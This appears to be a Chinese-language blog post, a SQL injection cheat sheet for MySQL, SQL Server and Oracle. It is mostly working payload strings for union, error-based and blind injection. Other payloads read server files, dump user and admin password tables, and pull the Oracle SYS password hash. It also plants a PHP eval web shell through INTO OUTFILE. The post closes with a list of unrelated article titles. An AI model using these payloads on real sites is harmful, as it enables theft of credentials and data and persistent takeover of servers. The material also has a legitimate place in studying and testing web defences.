SQL 注入分类方式:

提交方式:GET POST COOKIE参数注入:数字型/字符型/搜索型数据库类型:ACCESS/Mysql/MSSQL/Oracle手工注入方法:联合查询、报错注入、盲注(基于布尔型、基于时间延迟)

0x01 Mysql

Mysql划分:权限 root 普通用户 版本 mysql>5.0 mysql<5.0

1.1 root权限

load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径

判断是否具有读写权限

and (select count(*) from mysql.user)>0#and (select count(file_priv) from mysql.user)>#

A、Load_file() 该函数用来读取源文件的函数,只能读取绝对路径的网页文件

注意:路径符号”\”错误 “\”正确 “/”正确,转换成十六进制,不用“”

id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,load_file(’/var/www/index.php’)(物理路径转16进制)

可以用来读取数据库连接文件获取数据连接账号、密码等

?id=1'and 1=2 union select 1,load_file('D:\\wamp\\www\\111.php')%23id=1'and 1=2 union select 1,load_file(0x443A2F77616D702F7777772F312E706870)%23

B、into outfile函数

条件:1. 绝对路径 2.可以使用单引号

?id=1 union select 1,"<?php @eval($_POST['g']);?>",3 into outfile 'E:/study/WWW/evil.php'?id=1 LIMIT 0,1 INTO OUTFILE 'E:/study/WWW/evil.php' lines terminated by 0x20273c3f70687020406576616c28245f504f53545b2767275d293b3f3e27 --

1.2 MySQL联合查询

1.2.1 适用于mysql低于5.0版本

1.判断是否可以注入 ?id=1 and 1=1,页面正常 ?id=1 and 1=2,页面空白2.获得字段数order by的方法来判断,比如: ?id=1 order by 4 页面显示正常 ?id=1 order by 5 页面出错,说明字段数等于43.获得显示位 ?id=1 and 1=2 union select 1,2,3,4 //比如,页面上出现了几个数字,分别是2,3,4,那么,这几个数字就被我们称作显示位。4.猜表名 猜表名的方法是,在第三步的完整的地址后加上:Form 表名,比如: ?id=1 and 1=2 union select 1,2,3,4 from users 这样,当users表存在的话,页面就会显示正常,如果我们提交一个不存在的表名,页面就会出错。

5.猜字段 使用:Concat(字段名)替换显示位的位置。 ?id=1 and 1=2 union select 1,2,3,concat(username,password) from users

1.2.2 适用于Mysql 5.0以上版本支持查表查列

1.先判断是否可以注入 and+1=1,页面正常 and+1=2,页面空白2.获得字段数:使用order by提交: ?id=1 order by 4 正确。 ?id=1 order by 5 错误。 那么,判断出字段数为4。3.获得显示位

提交:?id=1 +and+1=2+union+select+1,2,3,4显示位为:2,3,44.获取信息 ?id=1 +and+1=2+union+select+1,2,3,version()

database() user() version() database() @@basedir 数据库安装路径 @@datadir 数据库路径5.查表?id=1 and 1=2 union select 1,2,3,table_name from information_schema.tables where table_schema=0x74657374(数据库名test的Hex) limit 0,1--得到表:test

6.查字段 ?id=1 and 1=2 union select 1,2,3,column_name from information_schema.columns where table_name=0x74657374 limit 0,1-- 得到字段:id,username,password7.爆字段内容 ?id=1+and+1=2+union+select+1,2,3,concat(username,password) from+test

1.3 MySQL报错注入

mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法。

多种报错注入方式:

and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))and 1=(updatexml(1,concat(0x3a,(select user())),1))and GeometryCollection((select*from(select*from(select @@version)f)x))and polygon((select*from(select name_const(version(),1))x))and linestring((select * from(select * from(select user())a)b))and multilinestring((select * from(select * from(select version())a)b));and multipoint((select * from(select * from(select user())a)b));and multipolygon((select * from(select * from(select user())a)b));and exp(~(select * from(select version())a));

1.4 MySQL盲注

基于布尔型注入

id=1 and (select length(user()))=20 # 返回正常页面 长度20位id=1 and ascii(substring((SELECT username FROM users limit 0,1),1,1))=97//截取username第一个数据的ascii值

基于时间型注入

1 xor (if(ascii(mid(user()from(1)for(1)))='r',sleep(5),0))1 xor if(ascii(substr(user(),1,1)) like 1124,benchmark(1000000, md5('1')),'2')

0x02 SQLServer

SA权限:数据库操作,文件管理,命令执行,注册表读取等

Db权限:文件管理,数据库操作等

Public权限:数据库操作

2.1 SQLServer 联合查询

1.判断是否存在注入 ?id=1 and 1=1-- 返回正确 ?id=1 and 1=2-- 返回错误

2.获取字段数 ?id=1 order by 2-- 返回正确页面 ?id=1 order by 3-- 返回错误页面 字段长度为2

3.查看数据库版本 ?id=1 and 1=2 union select db_name(),null //获得当前数据库

4.查看表名 ?id=1 and 1=2 union select top 1 TABLE_NAME ,2 from INFORMATION_SCHEMA.TABLES where table_name not in ('users')

5.查看列名 ?id=1 and 1=2 union select top 1 column_name ,2 from information_schema.columns where table_name ='users' and column_name not in ('uname')

6.获取数据 ?id=1 and 1=2 union select top 1 uname,null from users

2.2 SQLServer 报错注入

1.获取表名?id=4' and 1>(select top 1 TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_NAME not in ('admin') )--2.获取列名?id=4' and 1>(select top 1 COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin' and column_name not in ('id')) --

3.获取数据?id=4' and 1=(select top 1 pwd from admin) --

4.获取数据库信息?id=1' and 1=(select @@version)-- //SQL Server 2000?id=1' and 1=(select db_name()) //当前使用的数据库

2.3 SQLServer 盲注

1、猜表名

?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and len(name)=7)=1 -- //获取第一个表的长度7

?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') and ascii(substring(name,1,1))=116)=1 -- //截取第一个表第一位的ascii码

?id=1 and (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' and name not in ('users')) and ascii(substring(name,1,1))>115)=1 --//猜第二个表的第一位ASCII值得到表名,进一步猜解字段

2、猜字段id=1 and (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users')) and ascii(substring(name,1,1))=117)=1 //获取users表第一个字段的ASCII值

id=1 and (select count(*) from syscolumns where name in (select top 1 name from syscolumns where id=(select id from sysobjects where name='users') ) and name not in ('upass') and ascii(substring(name,1,1))>90)=1 --//获取user表第二个字段的第一位ASCII值

3、猜数据id=1 and (ascii(substring((select top 1 uname from users),1,1)))=33 -- //获取users表中uname字段的第一位ASCII值

0x03 Oracle

3.1 联合查询

Union select null,null,null 从第一个null开始加’null’,得到显示位Union select null,null,null from dual 返回正确,存在dual表Union Select tablespace_name from user_tablespaces //查库Union Select table_name from user_tables where rownum = 1 and table_name<>’news’ //查表Union Select column_name from user_tab_columns where table_name=’users’ //查列?id=1 order by 1-- //获取字段数and+1=1+union+all+select+(SELECT banner FROM v$version where rownum=1)+from+dual--//获取数据库版本and+1=1+union+all+select+(select user from dual where rownum=1)+from+dual-- //获取当前连接数据库的用户名union+all+select+(select password from sys.user$ where rownum=1 and name='SYS')+from+dual-- -- //获取用户SYS密文密码union+all+select+(SELECT name FROM v$database)+from+dual-- //获取库名and+1=1+union+all+select+(select table_name from user_tables where rownum=1)+from+dual--//获取第一个表名

3.2 手工显错注入

最大的区别就是utl_inaddr.get_host_address这个函数,10g可以调用,11g需要dba高权限

//判断是否是oracle?id=1 and exists(select * from dual)-- //获取库名?id=1 and 1=utl_inaddr.get_host_address((SELECT name FROM v$database))—-//获取数据库服务器所在ip?id=1 and 1=ctxsys.drithsx.sn(1,(select UTL_INADDR.get_host_address from dual where rownum=1))-- ?id=1 and 1= CTXSYS.CTX_QUERY.CHK_XPATH((select banner from v$version where rownum=1),'a','b')--?id=1 or 1=ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select banner from v$version where rownum=1),'a','b')--?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

3.3 盲注

基于布尔类型的盲注:

?id=7782' and length((SELECT name FROM v$database))=4-- 获取数据库名长度?id=7782' and ascii(substr((SELECT name FROM v$database),1,1))=79-- 获取数据库名第一位为O

基于时间延迟的盲注:

?id=7782' and 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN 1 ELSE 2 END)--?id=7782' AND 1=(CASE WHEN (ascii(substr((SELECT name FROM v$database),1,1))=79) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(108)||CHR(103)||CHR(102)||CHR(102),5) ELSE 1 END)--

benchmarksql测试mysql_web安全(一):sql注入详解相关推荐

  1. SQL注入详解及预防

    SQL注入详解及预防 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的用户数据库被黑客公开发布,600万用户的登录名及密码被公开泄露,随后又有多家网站的用户密码被流传于网络,连日来引发众多网 ...

  2. SQL注入详解和简单绕过原理

    1.什么是SQL 结构化查询语言(Structured Query Language)简称SQL SQL使我们有能力访问数据库 2.什么是SQL注入 用户提交的数据可以被数据库解析执行 如果用户随随便 ...

  3. php mysql防卡_php mysql防止sql注入详解

    引发 SQL 注入攻击的主要原因,是因为以下两点原因: 1. php 配置文件 php.ini 中的 magic_quotes_gpc选项没有打开,被置为 off 2. 开发者没有对数据类型进行检查和 ...

  4. sql 单引号_三种数据库的 SQL 注入详解

    SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用 ...

  5. SQL注入详解(万字文章详解)

    目录 0x01 ⭐前言 0x02 SQL注入原理 0x03 危害 0x04 修复建议 0x05 测试方法 0x06 利用方式 1. 利用 2. 利用SQL注入写文件 3. 利用SQL注入读文件 0x0 ...

  6. 三种数据库的 SQL 注入详解

    SQL 注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用 ...

  7. sql注入详解 一文了解sql注入所有常见方法

    前言 刷完了sqli-labs 对sql注入有了些许认识 在此做个小结与记录 1.什么是sql注入 sql,Structured Query Language,叫做结构化查询语言,管理数据库时用到的一 ...

  8. SQL注入详解(全网最全,万字长文)

    漏洞原因 一些概念: SQL:用于数据库中的标准数据查询语言. web分为前端和后端,前端负责进行展示,后端负责处理来自前端的请求并提供前端展示的资源. 而数据库就是存储资源的地方. 而服务器获取数据 ...

  9. SQL注入详解(第二章手工注入)

    二.MySQL手工注入 1.SQL注入之sqli-labs环境搭建 往往很多新手在刚学习SQL注入的时候,都需要拥有一个能SQL注入的网站,需要有SQL注入点 的.直接去互联网上找的话对新手未免有点太 ...

最新文章

  1. java开源写字板_简单的写字板 - 努力喵的个人空间 - OSCHINA - 中文开源技术交流社区...
  2. 【杂谈】一个五岁孩子妈妈在有三AI学习并且赚钱的故事
  3. layui select下拉框改变之 change 监听事件
  4. 【Python】Python 远程连接服务器,用它就够了
  5. 2019龙少php泛站群,龙少php泛站群|PHP版站群 全自动泛解析站群程序 赠送教程
  6. C++指针、this指针、静态成员
  7. 0基础java语法_Java零基础教程(二)基础语法
  8. if else 与 switch case
  9. 计算机组成原理袁春风百度云,计算机组成原理[袁春风]chap32.pdf
  10. JeeSite (三)前端
  11. JavaScript实现京东首页轮播图
  12. 至快乐的11.11---牛X光棍的呐喊!(转)
  13. opencv 将Mat转为图片数据
  14. 数字华容道(C++)
  15. 花旗银行java二面_花旗银行Citi MA 一面二面及终面面经
  16. ES5ES6 day16
  17. 英伟达发布全新GPU:采用图灵架构 支持光线追踪
  18. 计算机专业朋友圈文案,发朋友圈会收获一大波好评的句子,逼格超高(专业文案的收藏)...
  19. opencv自定义从一幅图片截取特定区域函数cvExtractRegion
  20. zinnia项目功能分析

热门文章

  1. 微信小程序扫码实现web自动登录
  2. mysql数据库data目录下文件说明
  3. zzuli:1102火车票退票费计算(函数专题)
  4. 2022新版苹果cmsV10 MXProV4.0自适应影视站主题模板
  5. 计算机毕设导师搞事情,研究生搞科研时,应注意避开的10个错误
  6. 视口锁定解锁lisp_求一个cad 图层锁定和解锁的lisp命令?
  7. Pygame开发Flappy Bird小游戏(上)
  8. 120项优化: 超级爬虫Hawk 2.0重磅发布!
  9. JS中的函数定义方式及全局函数
  10. STANet: 基于时空自注意力的遥感图像变化检测模型,提出一个新的大型变化检测数据集LEVIR-CD